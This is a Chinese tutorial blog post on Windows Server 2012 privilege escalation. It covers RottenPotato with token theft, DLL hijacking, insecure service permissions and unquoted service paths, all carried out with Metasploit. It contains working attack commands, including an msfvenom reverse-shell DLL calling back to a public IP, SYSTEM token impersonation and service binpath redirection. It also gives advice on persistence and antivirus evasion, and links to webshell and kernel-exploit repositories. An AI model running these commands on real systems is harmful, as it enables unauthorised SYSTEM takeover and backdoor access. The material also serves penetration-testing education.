62 权限提升-烂土豆dll劫持引号路径服务权限

目录

    • 演示案例:
      • Win2012-烂士豆配合令牌窃取提权-Web权限
      • Win2012-DLL劫持提权应用配合MSF-Web权限
      • Win2012-不安全的服务权限配合MSF-本地权限
      • Win2012-不带引号服务路径配合MSF-Web,本地权限
      • 补充说明: dll劫持提权及AlwaysInstallElevated等说明
      • 关于Windows相关知识点总结说明-权限层,系统层,防护层等
    • 涉及资源:

演示案例:

Win2012-烂士豆配合令牌窃取提权-Web权限

单纯令牌窃取: web权限或本地提权
如配合烂土豆提权: web或数据库等权限

RottenPotato (烂土豆) 提权的原理可以简述如下:

1.欺骗 “NT AUTHORITY\SYSTEM” 账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击 (NTLM重放) ,为"NT AUTHORITY\SYSTEM" 账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有 “模仿安全令牌权限” 的账户才能去模仿别人的令牌。一般大多数的服务型账户 (IIS、MSSQL等) 有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户 (就是上面说的用户级账户) 去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀 (lIS服务器权限) 反弹meterpreter就会成功。

烂土豆比热土豆的优点是:

1.100%可靠
2.(当时)全版本通杀,现在是需要自己做个免杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。

总之,我对这个的理解是通过中间人攻击,将COM (NT\SYSTEM权限) 在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。

原理:参考上述图片内容,非服务类用户权限无法窃取成功
原理过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功。

upload /root/potato.exe C:\Users\Public
cd C:\\users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITYA\\SYSTEM"

提权层面是在web权限上面提升至system权限,这个是跨越比较大的权限,一般我们的提权方法是本地提权,就是本地用户提升至system,这个烂土豆配合令牌窃取提权只要有web权限就可以

在webshell上面上传烂土豆,然后执行烂土豆,紧接着利用窃取模块,窃取SYSTEM权限,最后获取成功

这个是我们前期在目标主机装上去的webshell,就是我们提权获取到web权限,通过这个web权限实现windows的提权
在这里插入图片描述
查看用户名和当前权限,它是普通用户,就是大部分的web权限
在这里插入图片描述
首先我们打开msf生成后门,搜索msfvenom生成木马
https://blog.csdn.net/qq_63844103/article/details/128801917
在这里插入图片描述
先有msf,再有CS,CS内网用的比较多一点,这只是单纯的提权
我们把生成好的后门通过webshell传上去,执行它就完事了
在这里插入图片描述
在这里插入图片描述
这个时候就是属于监听状态,然后webshell这边执行文件
在这里插入图片描述
在这里插入图片描述
这个时候我们需要对它进行提权,令牌窃取是建立在权限足够的情况下进行提权,所以我们先进行烂土豆提权
我们可以去网上下载烂土豆提权
在这里插入图片描述
烂土豆必须在msf执行,切换到烂土豆在的目录,然后执行它
在这里插入图片描述
紧接着,我们在重复一次令牌窃取,提权成功
在这里插入图片描述

Win2012-DLL劫持提权应用配合MSF-Web权限

特定软件应用:第三方软件并且权限在控制的时候,比如在操作第三方软件的时候,能够删除它的文件,覆盖它里面的文件

原理: windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录 (先系统后用户)
过程: 信息收集-进程调试-制作dll并上传-换dll-启动应用后成功

DLL劫持提权是比较鸡肋的,但是还是要讲,因为它也是提权方法里面的一种,基本上windows系统都是通杀的,DLL文件在windows上是动态链接库,就好比exe程序,就是很多在开发软件的时候,就会开发dll库,就是程序在启用的时候,默认会调用一些dll库,实现它功能的加载,就是有些程序在写的时候,有些功能需要dll库支持,也就是说dll库是可以实现一些功能的,我们如果能自定义dll库,就能控制执行的东西

信息收集服务器上的第三方软件特有应用程序的信息,我们要分析程序在运行的时候,它有调用那些dll,知道之后,我们就制作一个后门dll去把它进行上传,替换原有的dll,然后当程序启用成功之后,就会调用我们替换的dll来实现这个dll劫持

我们可以通过前期的基本信息,然后可以看一下它有没有一些程序、服务、第三方软件

在这里插入图片描述
可以看到有一个第三方软件,ftp传输软件,符合我们dll提权的一个条件
在这里插入图片描述
我们本地下载这个程序,去调式它
在这里插入图片描述
我们先运行这个软件,找到这个进程
在这里插入图片描述
在这里插入图片描述
我们做的是提权,系统文件我们不可能去更改它,因为本身权限就不够,所以我们看的是数字签名文件和未知文件,数字签名文件这里有引用到其它程序的dll文件

在这里插入图片描述
我们可以尝试去替换dll文件,来实现把dll文件自定义,我们只能够去替换能修改的目录的dll文件,所以我们得选择第三方软件的dll,所以这个时候,我们就在msf上生成恶意dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/ssleay.dll

我们通过shell把生成的dll文件上传上去,然后把源文件替换掉

在这里插入图片描述
我们在msf上开启监听,运行后门exe文件
在这里插入图片描述
接收到会话,我们在利用令牌窃取,因为administrator权限足够了
在这里插入图片描述
这个就是dll劫持,它是比较鸡肋的,对方必须要启用这个程序才行,就是替换完之后,管理员要启用它才行,如果不启用它,就没办法,因为启动了就表示会加载dll,dll就是我们替换的dll,除此之外,dll就是要考虑替换,这个替换权限指的是要看你当前的权限,不是说一定就有,如果webshell权限设置的比较宽松的话,是有的,但是它设置比较严谨的情况下,所以它有前提条件,这个条件要满足才可以

它要满足的条件有点多:1、它装有第三方软件;2、有替换权限;3、管理员要去运行这个程序才行

直接利用火绒剑这个程序去分析进程所加载的dll,排除系统的dll,因为系统的dll,我们是没有权限去替换它,目录都看不了,怎么去替换,所以我们要去找自身程序自带的dll,尝试替换

收集信息有没有第三方的,然后通过收集信息对第三方软件本地去分析,因为我们不可能在服务器上进行分析,因为你要提权的服务器你怎么分析那个进程呢,我们不能打开看,所以我们只能去本地下载一个同样的软件,然后在自己的电脑上去分析,调用dll,知道之后,制作一个dll,把原有的dll进行替换,然后等待这个管理员的启用,应用之后,我们才能接收这个会话,反弹的webshell

这个dll可以进行自定义的,不需要反弹回来,把这个dll,自己通过开发,写个dll,一旦提权成功,自己就创建一个账户,都可以

Win2012-不安全的服务权限配合MSF-本地权限

原理: 即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

accesschk.exe -uwcgv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"

根据你当前用户权限,看一下你这个用户有没有可以操作的服务进行配置

利用accesschk.exe文件,去执行-uwcgv命令,冒号里面就是当前的用户、用户组,来检测当前的用户、用户组有没有可以操作的服务命令,一般这种提权适用本地,webshell一般就不现实了

accesschk.exe -uwcgv "administrators" *

我们检测到当前用户组享受这些所有权限的,包括读写、删除、修改各种各样的
在这里插入图片描述

我们查询user组,说明user组的用户没有对这些服务进行操作的权限
在这里插入图片描述
如果在实战中,我们碰到这个提示,说明我们这个提权方法GG,因为当前组没有可以进行的操作

指向这个服务名对应的文件,操作完之后,发现服务对应的路径就更改了

sc config "NewServiceName" binpath="C:\test.exe"

在这里插入图片描述
在这里插入图片描述
启动系统服务,很显然就会执行test.exe,我们监听一下会话

sc start "NewServiceName"

在这里插入图片描述
在这里插入图片描述
我通过这个东西直接提权到system权限,webshell权限大部分是不够的,webshell权限大部分不能够对服务进行更改,所以它大部分是本地提权的概念

Win2012-不带引号服务路径配合MSF-Web,本地权限

原理: 当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

我们看一下我们当前电脑服务,我们可以点击每个服务对应的属性,是不是会对应执行文件,当我们打开这个服务的时候,会默认执行这条命令,而且是以system权限去运行它
在这里插入图片描述
在这里插入图片描述

windows服务程序在配置的时候,出现配置不带引号的东西之后,就会出现安全问题,它会认为空格之后是参数,会导致这个文件在运行的时候,出问题

在这里插入图片描述

检测服务器上有没有有问题的服务路径,就是看它有没有引号,有引号就是正常的,会正常的调用参数,没有引号就会出现安全问题,如果没有我们就可以利用路径制作文件并上传,启用服务或者等待服务器的重启,因为服务器重启会加载一些服务,那么可能就会把你的服务加载,所以我们就等待服务重启,启用服务是需要权限的,如果权限不够的话,就等待服务器的重启,一旦服务被调用就会成功去运行之前的后门文件

用这个命令去检测服务调用执行命令没有引号的

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

如果有提示,就表示这两个地方可以操作,有安全问题必须不带引号,目录里面必须带空格,不带空格也不行,因为空格是命令参数执行的标准
第二个文件目录放上去执行的时候会出现,前面当作一个执行程序,后面当作命令参数
在这里插入图片描述
下面的cmd命令,执行的是C:\Program
在这里插入图片描述
使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录
在这里插入图片描述

在webshell里面启动服务的命令,可能会出现没有权限启用,所以引号路径攻击多用于本地环境

sc start "服务名"

启动服务,我们放在C盘的后门被启动,msf监听到,提权成功
在这里插入图片描述
因为服务启用就会调用系统权限,所以就能获得系统权限,如果掉了,有可能是因为服务崩了

如果在实战中,权限丢了也不要紧,因为我们可以把exe换成不需要时刻连接的,因为这个后门是msf后门,所以才需要时刻连接,保持它进程的运行
我们可以把后门替换成远控的,一旦执行就执行命令,添加用户,开3389等操作,这些都是后期可以进行的操作

注意这个提权是要看对方有没有安全问题,它其实就是检测服务里面绑定程序的时候,有没有按照规矩的使用引号,因为我们这个服务大部分都是自带服务,然后加上你安装的软件,有时候你安装软件之后,软件会自动创建服务,像apche大部分都是自带服务,如果这个软件在创建服务的时候,没有按照规矩加双引号,就会出现这个安全问提,我们可以通过命令去寻找服务里面对应的程序绑定目录的时候有没有安全问题,有,我们就可以操作它,你直接上后门替换它对应目录里面对应的程序就可以了

有一定的适应面,同时比较鸡肋,因为系统如果不安装第三方软件或者其它东西的话,就不会出现这个问题,而且第三方软件有部分不会出现安全问题,因为有写第三方软件有去正确的配置服务目录,很多情况下都是没有这个引号路径问题的,这就是它比较鸡肋的地方

补充说明: dll劫持提权及AlwaysInstallElevated等说明

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallELevated提权默认禁用配置,利用成功机会很少

很多知识点一碰实战就搞不来的原因,就是很多知识点是有前提条件的,不满足那个前提条件是没办法执行的
在这里插入图片描述
你自己都要提权了,你怎么以system权限手动提权它呢,一般管理员是默认不会把AlwaysInstallElevated开启的,我们不讲它的原因是它的利用条件实在是太苛刻了,AlwaysInstallElevated基本是禁用的,用不了,我们就没必要去学它
在这里插入图片描述

关于Windows相关知识点总结说明-权限层,系统层,防护层等

总结windows提权知识点
掌握: 提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等

webshell权限大部分是搭建平台赋予的权限,是个非常小的权限,它没有user大,比来宾用户权限大一些

在本地能操作的,一般在web层面也能操作,因为本地权限比web权限大
数据库提权和溢出漏洞是通用的,在本地和web层面都可以

红蓝对抗里面免杀是核心,因为实战情况下,免杀过不了,会导致很多东西都操作不了,免杀是大部分面对的最大的困难,网上有很多文章,但是你会发现大部分已经通用了,

系统服务的权限要看是谁启动的,那就是谁的权限

涉及资源:

https://github.com/tennc/webshell
https://www.sdbeta.com/wg/2020/0628/235361.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/221251.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【nginx】 实现限流

这里写自定义目录标题 前言正文nginx实现限流并发限制限制单IP并发数量限制单主机服务并发数量 速率限制限流效果 注意疑问参考链接 小结 前言 好久不见,还算为时不晚。最近一个月经历了工作的调整,技术栈从Java转向了Go和Python, 工作显得更忙了些&…

B树与B+树的对比

B树: m阶B树的核心特性: 树中每个节点至多有m棵子树,即至多含有m-1个关键字根节点的子树数属于[2, m],关键字数属于[1, m-1],其他节点的子树数属于 [ ⌈ m 2 ⌉ , m ] [\lceil \frac{m}{2}\rceil, m] [⌈2m​⌉,m]&am…

【学习记录】从0开始的Linux学习之旅——驱动模块编译与加载

一、概述 Linux操作系统通常是基于Linux内核,并结合GNU项目中的工具和应用程序而成。Linux操作系统支持多用户、多任务和多线程,具有强大的网络功能和良好的兼容性。本文主要讲述如何编译及加载linux驱动模块。 二、概念及原理 应用程序通过系统调用与内…

【Amazon】安装Cloudwatch代理监控EC2

文章目录 一、实验概要二、实验操作步骤2.1 创建 CloudWatch 代理运行角色2.2 安装 CloudWatch 代理软件包2.3 使用 CloudWatch代理收集指标2.4 CloudWatch指标收集确认 三、参考链接 一、实验概要 使用 CloudWatch 代理从 Amazon EC2 实例和本地服务器中收集指标、日志和跟踪信…

IDEA DeBug

文章目录 01_Debug简介和意义02_IDEA中的Debug步骤03_跳转到当前代码执行的行04_步过调试的使用05_步入调试的使用06_强制步入调试的使用07_步出调试的使用08_回退断点调试的使用09_运行到光标处10_计算表达式11_条件断点12_多线程调试 01_Debug简介和意义 什么是程序DeBug&am…

AIGC ChatGPT 4 快速整理不规则数据

从业务系统中采集到的数据如下: 序号 省份 英文 2022年销售额 2021年销售额 增量 1 广东guangDOng129068.58 124319.67 4748.91 2 江苏 JiangSu 122825.6 116314.2 6511.4 3 山东ShAnDong 87385 83045.9 4339.1 4 浙江…

GPT实战系列-GPT训练的Pretraining,SFT,Reward Modeling,RLHF

GPT实战系列-GPT训练的Pretraining,SFT,Reward Modeling,RLHF 文章目录 GPT实战系列-GPT训练的Pretraining,SFT,Reward Modeling,RLHFPretraining 预训练阶段Supervised FineTuning (SFT&#x…

RT-DETR论文阅读笔记(包括YOLO版本训练和官方版本训练)

论文地址:RT-DETR论文地址 代码地址:RT-DETR官方下载地址 大家如果想看更详细训练、推理、部署、验证等教程可以看我的另一篇博客里面有更详细的介绍 内容回顾:详解RT-DETR网络结构/数据集获取/环境搭建/训练/推理/验证/导出/部署 目录 一…

从0开始学习JavaScript--构建强大的JavaScript图片库

在现代Web开发中,图像是不可或缺的一部分,而构建一个强大的JavaScript图片库能够有效地管理、展示和操作图像,为用户提供更丰富的视觉体验。本文将深入探讨构建JavaScript图片库的实用技巧,并通过丰富的示例代码演示如何实现各种功…

Spring Boot 项目配置文件出现乱码的解决方法

如下图,我们 Spring Boot 项目的配置文件 application.properties 可能会出现如下的乱码问题: 我们写注解的时候是正常的,但是下次启动项目就出现了乱码,这个是字符集设置的问题 解决方法 1.点击 File 选择 Settings 2.搜索 enco…

原神「神铸赋形」活动祈愿现已开启

亲爱的旅行者,「神铸赋形」活动祈愿现已开启,「单手剑静水流涌之辉」「法器碧落之珑」概率UP! 活动期间,旅行者可以在「神铸赋形」活动祈愿中获得更多武器与角色,提升队伍的战斗力! 〓祈愿时间〓 4.2版本更…

【研究中】sql server权限用户设置23.11.26

--更新时间2023.11.26 21:30 负责人:jerrysuse DBAliCMSIF EXISTS (select * from sysobjects where namehkcms_user)--判断是否存在此表DROP TABLE hkcms_user CREATE TABLE hkcms_user (id int primary key identity(1, 1),username char(32) NOT N…